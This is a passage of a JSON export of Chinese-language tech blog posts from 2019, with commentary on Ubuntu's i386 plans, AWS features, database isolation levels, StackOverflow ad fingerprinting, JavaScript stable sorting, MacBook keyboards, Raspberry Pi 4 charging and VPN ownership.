    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2019/06/19/9051/ubuntu-19-10-%e8%a6%81%e6%94%be%e6%8e%89-i386-%e6%9e%b6%e6%a7%8b/\">Ubuntu 19.10 要放掉 i386 架構</a>」這邊提到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 要放掉 i386 的計畫，因為造成的迴響很大，現在官方決定修改本來的結論：「<a href=\"https://ubuntu.com/blog/statement-on-32-bit-i386-packages-for-ubuntu-19-10-and-20-04-lts\">Statement on 32-bit i386 packages for Ubuntu 19.10 and 20.04 LTS</a>」。\r\n\r\n在本來的計畫裡，是完全放生 i386 架構 (完全不管)：\r\n\r\n<blockquote>While this means we will not provide 32-bit builds of new upstream versions of libraries, there are a number of ways that 32-bit applications can continue to be made available to users of later Ubuntu releases, as detailed in [4].   We will be working to polish the 32-bit support story over the course of the 19.10 development cycle.  To follow the evolution of this support, you can participate in the discourse thread at [5].</blockquote>\r\n\r\n現在則是打算透過 container 技術支援 32-bit library &amp; binary，算是某種緩衝方式：\r\n\r\n<blockquote>We will also work with the WINE, Ubuntu Studio and gaming communities to use container technology to address the ultimate end of life of 32-bit libraries; it should stay possible to run old applications on newer versions of Ubuntu. Snaps and LXD enable us both to have complete 32-bit environments, and bundled libraries, to solve these issues in the long term.</blockquote>\r\n\r\n但應該還是會有程式沒辦法在 container 環境裡跑，看起來官方決定放掉了...",
    "title": "Ubuntu 改變放掉 i386 的計畫"
  },
  {
    "id": "9072",
    "body": "在「<a href=\"https://lwn.net/Articles/791973/rss\">Changes at the Apache Software Foundation</a>」這邊看到的消息，<a href=\"https://www.apache.org/\">ASF</a> 突然走了三位都超過十年的資深成員，其中一位還是 ASF 的共同創辦人。關於 ASF 官方的公告，可以在「<a href=\"https://blogs.apache.org/foundation/entry/statement-by-the-apache-software1\">Statement by The Apache Software Foundation Board of Directors</a>」這邊讀到。\r\n\r\n如同 <a href=\"https://lwn.net/\">LWN</a> 說的，為什麼三個人突然同時離開的狀況還不清楚：\r\n\r\n<blockquote>There is no indication of why all these people decided to leave at the same time.</blockquote>",
    "title": "Apache Software Foundation 走掉一批人..."
  },
  {
    "id": "9073",
    "body": "以前在機房可以在 switch 上用 port mirror 看流量內容找問題，現在在 <a href=\"https://aws.amazon.com/\">AWS</a> 上也提供類似的功能 VPC Traffic Mirroring：「<a href=\"https://aws.amazon.com/blogs/aws/new-vpc-traffic-mirroring/\">New – VPC Traffic Mirroring – Capture &amp; Inspect Network Traffic</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oSm8HKq.webp\" /><img src=\"https://i.gslin.com/imgur/oSm8HKq.jpg\" alt=\"\" /></picture>\r\n\r\n所以所有以前在傳統機房使用 switch 的技術，都可以在 AWS 上重新發展出來，所以不算太意外的是第一波就有一堆 partner 提供服務，或是一些公司提供經驗。\r\n\r\n另外 AWS 的 VPC Traffic Mirroring 比以前 switch 的 port mirror 更彈性，可以把整個網路當來源，或是指定特定的 ENI 當來源：\r\n\r\n<blockquote>Mirror Source – An AWS network resource that exists within a particular VPC, and that can be used as the source of traffic. VPC Traffic Mirroring supports the use of Elastic Network Interfaces (ENIs) as mirror sources.</blockquote>\r\n\r\n然後除了可以打到 ENI 上，也可以打到 NLB 上：\r\n\r\n<blockquote>Mirror Target – An ENI or Network Load Balancer that serves as a destination for the mirrored traffic. The target can be in the same AWS account as the Mirror Source, or in a different account for implementation of the central-VPC model that I mentioned above.</blockquote>\r\n\r\n不免俗的，可以過濾封包：\r\n\r\n<blockquote>Mirror Filter – A specification of the inbound or outbound (with respect to the source) traffic that is to be captured (accepted) or skipped (rejected). The filter can specify a protocol, ranges for the source and destination ports, and CIDR blocks for the source and destination. Rules are numbered, and processed in order within the scope of a particular Mirror Session.</blockquote>\r\n\r\n然後有判斷 session 的能力 (看這邊的敘述，應該就是指 stateful connection？)：\r\n\r\n<blockquote>Traffic Mirror Session – A connection between a mirror source and target that makes use of a filter. Sessions are numbered, evaluated in order, and the first match (accept or reject) is used to determine the fate of the packet. A given packet is sent to at most one target.</blockquote>\r\n\r\n而且這一次公佈就幾乎開放所有區域了，費用看起來也不太貴：\r\n\r\n<blockquote>VPC Traffic Mirroring is available now and you can start using it today in all commercial AWS Regions except Asia Pacific (Sydney), China (Beijing), and China (Ningxia). Support for those regions will be added soon. You pay an hourly fee (starting at $0.015 per hour) for each mirror source; see the VPC Pricing page for more info.</blockquote>",
    "title": "AWS 提供 VPC Traffic Mirroring 的功能"
  },
  {
    "id": "9074",
    "body": "來推薦其他人寫的文章 (雖然是在 <a href=\"https://medium.com/\">Medium</a> 上...)：「<a href=\"https://medium.com/@chester.yw.chu/%E8%A4%87%E7%BF%92%E8%B3%87%E6%96%99%E5%BA%AB%E7%9A%84-isolation-level-%E8%88%87%E5%B8%B8%E8%A6%8B%E7%9A%84%E4%BA%94%E5%80%8B-race-conditions-%E5%9C%96%E8%A7%A3-16e8d472a25c\">複習資料庫的 Isolation Level 與圖解五個常見的 Race Conditions</a>」、「<a href=\"https://medium.com/@chester.yw.chu/%E5%B0%8D%E6%96%BC-mysql-repeatable-read-isolation-%E5%B8%B8%E8%A6%8B%E7%9A%84%E4%B8%89%E5%80%8B%E8%AA%A4%E8%A7%A3-7a9afbac65af\">對於 MySQL Repeatable Read Isolation 常見的三個誤解</a>」，另外再推薦英文維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Snapshot_isolation\">Snapshot isolation</a>」條目。\r\n\r\n兩篇文章都是中文 (另外一個是英文維基百科條目)，就不重複講了，這邊主要是拉條目的內容記錄起來，然後寫一些感想...\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/SQL-92\">SQL-92</a> 定義 <a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">Isolation</a> 的時候，技術還沒有這麼成熟，所以當時在訂的時候其實是以當時的技術背景設計 Isolation，所以當技術發展起來後，發生了一些 SQL-92 的定義沒那麼好用的情況：\r\n\r\n<blockquote>Unfortunately, the ANSI SQL-92 standard was written with a lock-based database in mind, and hence is rather vague when applied to MVCC systems. Berenson et al. wrote a paper in 1995 critiquing the SQL standard, and cited snapshot isolation as an example of an isolation level that did not exhibit the standard anomalies described in the ANSI SQL-92 standard, yet still had anomalous behaviour when compared with serializable transactions.</blockquote>\r\n\r\n其中一個就是 Snapshot Isolation，近代的資料庫系統都用這個概念實做，但實際上又有不少差別...\r\n\r\n另外「<a href=\"https://aphyr.com/posts/327-call-me-maybe-mariadb-galera-cluster\">Jepsen: MariaDB Galera Cluster</a>」這篇裡出現的這張也很有用，裡面描述了不同層級之間會發生的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xbXW82j.webp\" /><img src=\"https://i.gslin.com/imgur/xbXW82j.jpg\" alt=\"\" /></picture>\r\n\r\n這算是當系統有一點規模時 (i.e. 不太可能使用 <code>SERIALIZABLE</code> 避免這類問題)，開發者需要了解的資料庫限制...",
    "title": "RDBMS 裡的各種 Lock 與 Isolation Level"
  },
  {
    "id": "9076",
    "body": "除了本來的 <a href=\"https://aws.amazon.com/systems-manager/\">Systems Manager</a> 可以在 <a href=\"https://aws.amazon.com/\">EC2</a> 的機器上開 shell 管理外，現在 AWS 推出了 EC2 Instance Connect，可以直接綁 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 的權限管理：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/06/introducing-amazon-ec2-instance-connect/\">Introducing Amazon EC2 Instance Connect</a>」。\r\n\r\n<blockquote>With EC2 Instance Connect, you can control SSH access to your instances using AWS Identity and Access Management (IAM) policies as well as audit connection requests with AWS CloudTrail events. In addition, you can leverage your existing SSH keys or further enhance your security posture by generating one-time use SSH keys each time an authorized user connects. Instance Connect works with any SSH client, or you can easily connect to your instances from a new browser-based SSH experience in the EC2 console.</blockquote>\r\n\r\n除了記錄外，也包含了一些安全機制，像是可以選擇一次性的帳號... 跟先前的 Systems Manager 比起來，主要是能用習慣的 terminal software 還是比較爽？",
    "title": "可以用 IAM 控管的 AWS Instance Connect (透過 SSH 機制)"
  },
  {
    "id": "9078",
    "body": "大致上有兩則，一個是 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 首頁改版，以前的首頁是各種熱門或是新的問題的列表 (像是下面第一張圖)，而在改版後，沒有登入的使用者將只會看到各種廣告 (可以透過無痕模式測試，像是第二張圖)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LccdQCQ.webp\" /><img src=\"https://i.gslin.com/imgur/LccdQCQ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VLxvqro.webp\" /><img src=\"https://i.gslin.com/imgur/VLxvqro.jpg\" alt=\"\" /></picture>\r\n\r\n這件事在「<a href=\"https://meta.stackoverflow.com/questions/386505/new-home-page-makes-it-seem-like-so-doesnt-allow-free-use-any-more\">New home page makes it seem like SO doesn't allow free use any more</a>」被拿出來討論，而且目前看起來沒打算改回來... 公司大了以後的常態之一。\r\n\r\n第二個是有人在瀏覽器的 console 上發現 StackOverflow 上出現 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/AudioContext\">AudioContext</a> 的請求，一路追發現是廣告嘗試透過瀏覽器特性追蹤使用者 (也就是 Fingerprint)：「<a href=\"https://meta.stackoverflow.com/questions/386487/why-is-stack-overflow-trying-to-start-audio\">Why is Stack Overflow trying to start audio?</a>」。\r\n\r\nStackOverflow 的官方回應覺得這個廣告不適合，有提出一些方案，不過看了一下這邊方案都還是不可行 (需要瀏覽器實做新功能，或是修正 bug)，目前還是推薦用 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 直接擋掉，節省 CPU resource 與 bandwidth...",
    "title": "StackOverflow 最近的一些負面新聞"
  },
  {
    "id": "9079",
    "body": "看到「<a href=\"https://www.eadan.net/blog/german-tank-problem/\">The German Tank Problem</a>」這篇在講二戰很有名的統計應用。這個主題在中文的維基百科寫得還蠻完整的，讀起來應該會更快一些：「<a href=\"https://zh.wikipedia.org/wiki/%E5%BE%B7%E5%9B%BD%E5%9D%A6%E5%85%8B%E9%97%AE%E9%A2%98\">德國坦克問題</a>」：\r\n\r\n<blockquote>在統計學理論的估計中，用不放回抽樣來估計離散型均勻分布最大值問題中著名的德國坦克問題（英語：German tank problem），它因在第二次世界大戰中用於估計德國坦克數量而得名。</blockquote>\r\n\r\n如同上面所說的，這個方法是因為估算的準確度極高而知名：\r\n\r\n<blockquote>對坦克車輪的分析產生了對使用中的車輪模具數量的估計。在與英國車輪製造商討論過後，他們估計了這麼多的模具可以生產多少車輪，進而是每個月可生產的坦克數量。對兩輛坦克（每輛32個車輪，總計64個車輪）車輪的分析的結果是1944年2月的生產數量估計在270左右，大大超出此前預期。\r\n\r\n德國戰後公布的記錄顯示，1944年2月一個月的生產量是276輛。統計方法結果的精確度是常規情報收集方法所遠遠不能達到的，而「德國坦克問題」這個詞也成為了這種統計分析問題的標誌。</blockquote>\r\n\r\n而且之後被拿來推敲經典的 <a href=\"https://en.wikipedia.org/wiki/Commodore_64\">Commodore 64</a> 的數量也還蠻準的：\r\n\r\n<blockquote>該公式在非軍事中也有使用，如估計Commodore 64計算機的總數，其結果（1.25億）與官方數字相當匹配。</blockquote>",
    "title": "二戰時德國坦克製造速度的估算問題"
  },
  {
    "id": "9081",
    "body": "雖然聽起來有點詭異，但 <code>robots.txt</code> 的確一直都只是業界慣用標準，而非正式標準，所以各家搜尋引擎加加減減都有一些自己的參數。\r\n\r\n在經過這麼久以後，<a href=\"https://www.google.com/\">Google</a> 決定推動 <code>robots.txt</code> 的標準化：「<a href=\"https://webmasters.googleblog.com/2019/07/rep-id.html\">Formalizing the Robots Exclusion Protocol Specification</a>」，同時 Google 也放出了他們解讀 <code>robots.txt</code> 的 parser：「<a href=\"https://opensource.googleblog.com/2019/07/googles-robotstxt-parser-is-now-open.html\">Google's robots.txt Parser is Now Open Source</a>」，在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/google/robotstxt\">google/robotstxt</a> 這邊可以取得。\r\n\r\n目前的 draft 是 00 版，可以在 <a href=\"https://tools.ietf.org/html/draft-rep-wg-topic-00\">draft-rep-wg-topic-00</a> 這邊看到，不知道其他搜尋引擎會給什麼樣的回饋...",
    "title": "robots.txt 的標準化"
  },
  {
    "id": "9082",
    "body": "看到「<a href=\"https://v8.dev/features/stable-sort\">Stable Array.prototype.sort</a>」這篇在講 JavaScript 規格書裡的 sort...\r\n\r\n本來 JavaScript 的規格書裡，各種 sort 都沒有保證 stable，而在「<a href=\"https://github.com/tc39/ecma262/pull/1340\">[Normative] Make Array.prototype.sort stable #1340</a>」與「<a href=\"https://github.com/tc39/ecma262/pull/1433\">[Normative] Make %TypedArray%.prototype.sort stable #1433</a>」這兩個地方則有了變化，提案在規格裡加入 stable 的要求，可以減少開發者因為不知道 unstable 而造成的問題...\r\n\r\n<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 則是很久前就決定使用 Merge sort 了 (看了一下，當時還在從 Firebird 轉換名稱到 Firefox 的時期)：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=224128\">Array.sort isn't a stable sort (switch to MergeSort)</a>」。\r\n\r\n另外這篇也剛好提到了 <a href=\"https://en.wikipedia.org/wiki/Chrome_V8\">V8</a> 使用 <a href=\"https://en.wikipedia.org/wiki/Timsort\">Timsort</a> 當作 stable sorting algorithm，之前就有看到但發現沒在 blog 上提過...\r\n\r\nTimsort 是 1993 年發明出來的演算法，與 Merge sort 的情況類似，除了 stable 外，還可以保證最差的情境下的時間複雜度是 [latex]O(n*log(n))[/latex]：\r\n\r\n<blockquote>Timsort is a hybrid stable sorting algorithm, derived from merge sort and insertion sort, designed to perform well on many kinds of real-world data.</blockquote>\r\n\r\n這個演算法的重點是善用已經排好的子序列，藉此降低記憶體操作次數而提昇效能，符合真實環境裡常見到的資料：\r\n\r\n<blockquote>The algorithm finds subsequences of the data that are already ordered, and uses that knowledge to sort the remainder more efficiently.</blockquote>\r\n\r\n除了 V8 採用這個演算法以外，其他常見的包括了 <a href=\"https://www.python.org/\">Python</a> 與 <a href=\"https://www.android.com/\">Android</a> 上的 Java SE：\r\n\r\n<blockquote>Timsort has been Python's standard sorting algorithm since version 2.3. It is also used to sort arrays of non-primitive type in Java SE 7, on the Android platform, in GNU Octave, and Google Chrome.</blockquote>",
    "title": "JavaScript 的 sort 變成 stable"
  },
  {
    "id": "9083",
    "body": "如標題說的，專案叫做「<a href=\"https://github.com/jstrieb/urlpages\">URL Pages</a>」，是一個把 HTML 的原始碼都放到 url string 裡的服務。服務本身可以在 <a href=\"http://jstrieb.github.io/urlpages\">http://jstrieb.github.io/urlpages</a> 這邊使用。\r\n\r\n現在網路上有很多地方可以塞 demo page (像是 <a href=\"https://github.com/\">GitHub</a> 自己提供的 <a href=\"https://pages.github.com/\">GitHub Pages</a>)，這個方式需要依賴 JavaScript 提供各種轉換機制，應該會有不少 side-effect bug，看起來會有不少技術瓶頸，就當作是個實驗性質的專案來看，真的需要放 demo page 的還是可以隨便找空間放比較簡單，像是前面提到的 GitHub Pages 其實可以直接在 GitHub 的網頁上操作...",
    "title": "把 HTML 資料都塞到 URL 裡的服務"
  },
  {
    "id": "9093",
    "body": "在 <a href=\"https://wordpress.org/\">WordPress</a> 編輯文章時我還是習慣用傳統編輯界面自己修改主要的 html tag，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LM3ZNKQ.webp\" /><img src=\"https://i.gslin.com/imgur/LM3ZNKQ.jpg\" alt=\"\" /></picture>\r\n\r\n上面那些按鈕在很久以前的版本透過 accesskey 用鍵盤快速輸入各種連結與效果，但後來就被拿掉了... 不過可以在「<a href=\"https://www.wpexplorer.com/adding-wordpress-custom-quicktags/\">Adding WordPress Custom QuickTags</a>」這邊看到一些文章有提到過。\r\n\r\n研究了一下 WordPress 的 minimal plugin 有哪些東西，看起來也不難寫，就花了些時間用 js 操作，這樣編輯起來方便多了... 程式包起來放到 <a href=\"https://github.com/gslin/wp-editor-accesskey\">gslin/wp-editor-accesskey</a> 上，有需要的也可以拿去用，不過我猜現在還這樣寫文章的人不多了...",
    "title": "補上 WordPress 編輯器的 accesskey"
  },
  {
    "id": "9094",
    "body": "跑了快一個月了，大概整理一下...\r\n\r\n一直都有在規劃降低對 <a href=\"https://www.google.com/\">Google</a> 服務的依賴性，最主要的是使用 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 替代 Google Search (但搜尋的品質還是差一截，所以寫了一些工具幫助我在不滿意的時候可以快速切到 Google 搜尋：「<a href=\"https://blog.gslin.org/archives/2018/08/14/8443/%E5%9C%A8-duckduckgo-%E6%90%9C%E5%B0%8B%E9%A0%81%E5%BF%AB%E9%80%9F%E5%88%87%E6%8F%9B%E5%88%B0-google-%E7%9A%84%E5%A5%97%E4%BB%B6/\">在 DuckDuckGo 搜尋頁快速切換到 Google 的套件</a>」)。\r\n\r\n而最近在研究的另外一個服務是 <a href=\"https://analytics.google.com/\">Google Analytics</a>，我只用很基本的功能 (像是熱門文章，作業系統與瀏覽器的比率這些很基本的資料)，不需要對於觀看客群有了解 (這個需要像 Google Analytics 跨站蒐集資料)，所以替代方案應該不難找...\r\n\r\n憑著印象與一些關鍵字，找到了 <a href=\"https://matomo.org/\">Matomo</a>，這是一套 open source 的 web analytics 服務，以前叫做 Piwik (參考「<a href=\"https://matomo.org/blog/2018/01/piwik-is-now-matomo/\">Piwik is now Matomo - Announcement</a>」)，整個系統用 <a href=\"https://www.php.net/\">PHP</a> + <a href=\"https://dev.mysql.com/\">MySQL</a> 就可以打發 (反正量不大的東西不需要拿什麼神兵利器出來，MySQL 硬塞硬算就可以了)，接著把本來 Google Analytics 的 js 換掉就行了...\r\n\r\n跑了快一個月後感覺還 ok，基本的資訊都有...",
    "title": "移除 Blog 上的 Google Analytics，改用 Matomo"
  },
  {
    "id": "9095",
    "body": "<a href=\"https://about.gitlab.com/\">GitLab</a> 打算在 12.1 之後放掉 <a href=\"https://dev.mysql.com/\">MySQL</a> 的支援：「<a href=\"https://about.gitlab.com/2019/06/27/removing-mysql-support/\">Why we're ending support for MySQL in 12.1</a>」。\r\n\r\nGitLab 在說明裡給了不少原因，但看了看以後還是覺得 GitLab 每次在做技術決策時給出來的理由都很... 有趣？XD\r\n\r\n每次看這三家提供的技術工具或是技術決策都很有趣... (另外兩家是 <a href=\"https://www.uber.com/\">Uber</a> 跟 <a href=\"https://www.yahoo.com/\">Yahoo!</a>)",
    "title": "GitLab 12.1 之後放棄支援 MySQL"
  },
  {
    "id": "9097",
    "body": "前幾天還蠻引人注目的案件，<a href=\"https://www.amazon.com/\">Amazon</a> 被判決要對平台商家透過 Amazon 平台賣出去的產品負責：「<a href=\"https://www.cnbc.com/2019/07/03/appeals-court-says-amazon-is-liable-for-third-party-sellers-products.html\">Federal appeals court says Amazon is liable for third-party sellers' products</a>」。\r\n\r\n這個案例裡面是消費者透過 Amazon 的平台，向上架的商家購買 hoverboard (懸浮滑板？)，結果把消費者家給搞爆了：\r\n\r\n<blockquote>Last year, a judge in Tennessee ruled the company was not liable for damages caused by a defective hoverboard that exploded, burning down a family's house.</blockquote>\r\n\r\n目前最新的判決中指出，Amazon 在合約裡面簽訂消費者必須透過 Amazon 的平台跟賣家溝通，使得賣家與消費者之間沒有直接的管道可以處理爭議，所以 Amazon 不能免責：\r\n\r\n\"Amazon fails to account for the fact that under the Agreement, third-party vendors can communicate with the customers only through Amazon,\" the ruling states. \"This enables third-party vendors to conceal themselves from the customer, leaving customers injured by defective products with no direct recourse to the third-party vendor.\"\r\n\r\n這個判決看起來會影響蠻大的，因為這些條款就是希望維持平台業者可以從中獲利，現在反過來殺傷自身... 看起來上訴是跑不掉的？等幾個月後再回來看...",
    "title": "Amazon 需要對賣出去的產品造成的傷害負責"
  },
  {
    "id": "9100",
    "body": "最近看到的「<a href=\"https://fullstaqruby.org/\">Fullstaq Ruby</a>」，專為線上環境最佳化的 <a href=\"https://www.ruby-lang.org/\">Ruby</a>：\r\n\r\n<blockquote>Fullstaq Ruby is an MRI-based Ruby distribution that's optimized for server production use cases.</blockquote>\r\n\r\n目前主要是使用 <a href=\"https://en.wikipedia.org/wiki/jemalloc\">jemalloc</a> (超萬用) 以及 malloc_trim patch：\r\n\r\n<blockquote>It is compiled with the Jemalloc and malloc_trim patches, allowing lower memory usage and higher performance.</blockquote>\r\n\r\n其中看了一下 malloc_trim patch 的介紹還蠻有趣的：「<a href=\"https://www.joyfulbikeshedding.com/blog/2019-03-14-what-causes-ruby-memory-bloat.html\">What causes Ruby memory bloat?</a>」，這篇主要是在討論記憶體用量的問題，以及目前常見的 workaround。\r\n\r\n這個 patch 是針對 Ruby 在 full mark GC 的情境後，增加呼叫 <code>malloc_trim(0);</code> 以釋放記憶體，作者發現這樣可以省下了大量的記憶體空間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sLd3Ekh.webp\" /><img src=\"https://i.gslin.com/imgur/sLd3Ekh.jpg\" alt=\"\" /></picture>\r\n\r\n然後作者預期效能應該會有影響 (畢竟多做了一些事情)，所以找了有在做 Rails benchmark 的人幫忙測試，結果發現反而變快了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/i31axiC.webp\" /><img src=\"https://i.gslin.com/imgur/i31axiC.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yTTdWsD.webp\" /><img src=\"https://i.gslin.com/imgur/yTTdWsD.jpg\" alt=\"\" /></picture>\r\n\r\n這樣看起來有可能官方會考慮把這個 patch 直接包進去？不過這看起來是在使用 jemalloc 的前提下？不知道如果使用標準的 glibc 會怎麼樣...",
    "title": "為線上環境而最佳化的 Ruby：Fullstaq Ruby"
  },
  {
    "id": "9101",
    "body": "<a href=\"https://9to5mac.com/\">9to5Mac</a> 的報導說 <a href=\"https://www.apple.com/\">Apple</a> 要改用剪刀式的設計：「<a href=\"https://9to5mac.com/2019/07/04/kuo-new-keyboard-macbook-air-pro/\">Kuo: Apple to include new scissor switch keyboard in 2019 MacBook Air and 2020 MacBook Pro</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ei462DY.webp\" /><img src=\"https://i.gslin.com/imgur/ei462DY.jpg\" alt=\"\" /></picture>\r\n<small>取自「<a href=\"https://en.wikipedia.org/wiki/File:Scissor_switch_mechanism.svg\">File:Scissor switch mechanism.svg</a>」這頁。</small>\r\n\r\n<blockquote>Apple is apparently set to ditch the butterfly mechanism used in MacBooks since 2015, which has been the root of reliability issues and its low-travel design has also not been popular with many Mac users.\r\n\r\nIn a report published today, Ming-Chi Kuo says that Apple will roll out a new keyboard design based on scissor switches, offering durability and longer key travel, starting with the 2019 MacBook Air. The MacBook Pro is also getting the new scissor switch keyboard, but not until 2020.</blockquote>\r\n\r\n還沒真的放出來前都不能確認...",
    "title": "謠言說蘋果要將蝴蝶鍵盤退役..."
  },
  {
    "id": "9102",
    "body": "<a href=\"https://www.raspberrypi.org/products/raspberry-pi-4-model-b/\">Raspberry Pi 4</a> 出來後有些災情 (畢竟又加了不少東西近去)，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的 Type C 介面的充電問題：「<a href=\"https://news.ycombinator.com/item?id=20361946\">Raspberry Pi 4 not working with some chargers (scorpia.co.uk)</a>」，引用的原文可以在「<a href=\"https://www.scorpia.co.uk/2019/06/28/pi4-not-working-with-some-chargers-or-why-you-need-two-cc-resistors/\">Pi4 not working with some chargers (or why you need two cc resistors)</a>」這邊看到，裡面提到了新的 Type C 供電介面在接某些充電器時不會供電 (包括了 <a href=\"https://www.apple.com/macbook/\">Macbook</a> 的充電器)：\r\n\r\n<blockquote>The new pi has been released and it has a USB Type-C connector for power however people are finding some chargers are not working with it (notably macbook chargers). Some have speculated that this is due to a manufacturer limitation on the power supplies however it is actually due to the incorrect detection circuitry on the Pi end of the USB connection.</blockquote>\r\n\r\n這樣說有點偏頗，但是 Macbook 的充電器一向是 Type C 裡的指標，如果這顆充電器跟其他裝置配合上有問題，通常都是代表其他裝置的實作有問題... (噗)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VubgfMb.webp\" /><img src=\"https://i.gslin.com/imgur/VubgfMb.jpg\" alt=\"\" /></picture>\r\n\r\n這次發現的電阻問題看起來有點苦 (看起來需要改版子)，目前文章作者建議的 workaround 主要就是「不要用那麼好的設備」，比較簡單的包括了 Type C 的線不要那麼好 (像是找充手機用的線就好，不要找拿可以跑 5A 的線)，或是透過 Type A 轉 Type C 的線也應該可以避開這個問題，最差的情況應該是找其他的充電器：\r\n\r\n<blockquote>Now onto some solutions. Assuming the issue you are having is caused by the problem discussed above, using a non e-marked cable (most USB-C phone charger cables are likely this type) rather than an e-marked cable (many laptop charger/thunderbolt cables and any 5A capable cable will be in this category) will allow for the pi to be powered. In addition using older chargers with A-C cables or micro B to C adaptors will also work if they provide enough power as these don’t require CC detection to provide power. Ultimately though the best solution in the long run will be for there to be a board revision for the pi 4 which adds the 2nd CC resistor and fixes the problem.</blockquote>\r\n\r\n對於已經入手的人，如果真的中獎，workaround cost 應該還在可以控制的範圍...",
    "title": "Raspberry Pi 4 的 Type C 無法使用 Macbook Charger 供電的問題"
  },
  {
    "id": "9105",
    "body": "翻到文章的最後面可以看到「Information as of 2019-05-21」，不過剛剛才在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到這則消息：「<a href=\"https://news.ycombinator.com/item?id=20362163\">Apple's service program for butterfly keyboard MacBooks, even out of warranty (support.apple.com)</a>」，官方網站的說明在「<a href=\"https://support.apple.com/keyboard-service-program-for-mac-notebooks\">Keyboard Service Program for MacBook, MacBook Air, and MacBook Pro</a>」這邊：\r\n\r\n<blockquote>Apple has determined that a small percentage of the keyboards in certain MacBook, MacBook Air, and MacBook Pro models may exhibit one or more of the following behaviors:\r\n\r\n<ul>\r\n\t<li>Letters or characters repeat unexpectedly</li>\r\n\t<li>Letters or characters do not appear</li>\r\n\t<li>Key(s) feel \"sticky\" or do not respond in a consistent manner</li>\r\n</ul>\r\n\r\nApple or an Apple Authorized Service Provider will service eligible MacBook, MacBook Air, and MacBook Pro keyboards, free of charge. The type of service will be determined after the keyboard is examined and may involve the replacement of one or more keys or the whole keyboard.</blockquote>\r\n\r\n機型從 MacBook (Retina, 12-­inch, Early 2015) 到最近的都有，可以從系統選單上面看到。時間上只要是售出四年內都包含在內，而且先前如果有因為鍵盤維修的也可以試著申請退費：\r\n\r\n<blockquote>This worldwide Apple program does not extend the standard warranty coverage of your Mac notebook.\r\n\r\nIf you believe your Mac notebook was affected by this issue, and you paid to have your keyboard repaired, you can contact Apple about a refund.\r\n\r\nThe program covers eligible MacBook, MacBook Air, and MacBook Pro models for 4 years after the first retail sale of the unit.</blockquote>",
    "title": "Apple 提供蝴蝶鍵盤免費維修 (全球性)"
  },
  {
    "id": "9106",
    "body": "所以之後可以拿 <a href=\"https://www.w3.org/TR/webdriver1/\">WebDriver</a> 的 library 直接接上去 (不過這個標準好像還沒有什麼人支援啊...)：「<a href=\"https://webkit.org/blog/9395/webdriver-is-coming-to-safari-in-ios-13/\">WebDriver is Coming to Safari in iOS 13</a>」，看起來是 Remote Automation 這個選項？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ROaGi2R.webp\" /><img src=\"https://i.gslin.com/imgur/ROaGi2R.jpg\" alt=\"\" /></picture>\r\n\r\n收斂的過程...",
    "title": "iOS 13 的 Safari 支援 W3C WebDriver"
  },
  {
    "id": "9107",
    "body": "在「<a href=\"https://vpnpro.com/blog/hidden-vpn-owners-unveiled-97-vpns-23-companies/\">Hidden VPN owners unveiled: 97 VPN products run by just 23 companies</a>」這篇分析了 VPN 產業裡面背後的公司。\r\n\r\n其中有兩個比較重要的事情，第一個是很多公司 (或是集團) 都擁有多個 VPN 品牌 (甚至有到十個品牌的)，所以如果想要透過多家 VPN 分散風險時，在挑的時候要看一下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NRWBBS4.webp\" /><img src=\"https://i.gslin.com/imgur/NRWBBS4.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2CEYjDX.webp\" /><img src=\"https://i.gslin.com/imgur/2CEYjDX.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個是後面有多中國人或是中國公司在營運：\r\n\r\n<blockquote>We discovered that a good amount of the free mobile-only VPNs are owned by Chinese companies, or companies run by Chinese nationals.\r\n\r\n<ul>\r\n\t<li>Innovative Connecting (10 VPN apps): Director Danian “Danny” Chen is a Chinese national (Chen’s LinkSure is the sole shareholder and shares the same address as Innovative Connecting)</li>\r\n\t<li>Hotspot VPN (5 VPN apps): Director Zhu Jianpeng has a residential address in Heibei Province in China</li>\r\n\t<li>Hi Security (3 apps): the VPN apps are part of Shenzhen HAWK Internet, a subsidiary of the Chinese major company TCL Corporation</li>\r\n\t<li>SuperSoftTech (2 apps): while officially owned by Singapore-based SuperSoftTech, it actually belongs to independent app publisher Jinrong Zheng, a Chinese national based in Beijing.</li>\r\n\t<li>LEILEI (2 apps): by the titles of the VPNs (all written in Chinese characters), it’s likely that this developer is Chinese or based in China</li>\r\n\t<li>Newbreed Network Pte.Ltd (6 apps): again, while it has a Singapore address, the websites for its VPN apps SGreen VPN and NodeVPN are completely in Chinese, while NodeVPN’s site lists the People’s Republic of China as its 